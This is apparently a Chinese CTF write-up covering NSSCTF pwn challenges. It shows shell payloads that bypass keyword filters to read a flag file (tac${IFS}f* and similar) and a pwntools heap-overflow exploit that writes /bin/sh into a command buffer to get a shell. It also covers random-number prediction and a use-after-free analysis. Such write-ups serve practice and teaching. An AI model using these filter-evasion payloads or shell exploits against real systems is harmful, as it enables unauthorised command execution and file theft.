singout

一道nc连接的题目,主要是禁用了一些获取flag的指令。借鉴了一些wp,有以下方法:

tac${IFS}f*
tac$IFS$9f*
nl${IFS}f*
nl$IFS$9f*
tail ./*
tail$IFS$9./f*

感觉挺奇特的

[NISACTF 2022]ezheap

这里申请了两个堆块s与command,存在gets函数会形成堆溢出,system函数会执行command堆块的内容,那么这里的想法就是造成堆溢出从s堆块溢出到command块并写入/bin/sh

这是gets前申请的s堆块与command堆块里面的内容,可以看出我们需要输入28字节大小的内容,再输入command堆块的size,就可以覆盖command堆块里面的内容。

这是gets后的两堆块里面的内容,可以看出确实将command堆块里面的内容覆盖为了/bin/sh字符串,此时再执行system(command)就能获取shell。

from pwn import*
#io=remote('node5.anna.nssctf.cn',26661)
io=process('./NISACTF_ezheap')

gdb.attach(io)

payload=b'a'*28+p32(0x21)+b'/bin/sh'
io.sendline(payload)

io.interactive()

FSCTF nc

ban了cat、flag、sh、$0,也关闭了输出流,但我们可以通过其他方式获得flag,比如用tac fl*命令并重定向到输入或错误流即可。

[GDOUCTF 2023]真男人下120层

这道题是一道随机数的题目,其实挺简单的,这里我选择的是自己生成相应的随机数

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main()
{
srand(time(0));
srand(rand()%3-1522127470);
int x=0;
for(int i=0;i<120;i++)
{
x=rand()%4+1;
printf("%d\n",x);
}
return 0;
}
from pwn import*
io=remote('node4.anna.nssctf.cn',28922)

recv_data=os.popen('./zhen').read() #执行当前目录下的程序并读取该程序的输出结果
print(recv_data)

list=recv_data.strip('\n') #移除字符串开头和结尾的换行符
list=recv_data.split('\n') #按照换行符将字符串分割成多个部分

print(list)

for i in range(120):
payload=list[i]
io.sendline(str(payload))

io.interactive()

[NISACTF 2022]UAF

一道堆题目,考的是UAF,比较简单,但是因为刚接触堆,所以还是一步一步的认真写一下解题过程。

该程序实现了创建、编辑、删除与展示的功能。

在del函数中,进行了free了相应的内存块后,并没有将对应的指针设置为NULL,因此这里存在UAF漏洞。

在show函数中,有这么一段代码,在这里一步一步分析

(*((void (__cdecl **)(char *))page + 1))(page);
  1. void (__cdecl *)(char *)
    

    这是一个函数指针的声明,其中__cdecl是一个调用约定,这指向的是一个返回类型为void、参数为char*的函数。

    2. ```
    (void (__cdecl **)(char *))page
    这是将page的指针类型强制转换为指向函数指针的指针
  2. (void (__cdecl **)(char *))page+1
    

    对转换后的指针+1,移动到下一个函数指针的位置,相当于访问的是函数指针数组的第二个元素

    4. ```
    (*((void (__cdecl **)(char *))page + 1))(page);
    解引用得到实际的函数指针,并调用该函数传入page作为参数

其实简单来说就是调用一个带参数的函数。

存在后门函数,那么可以利用上面那个调用该函数并获取shell。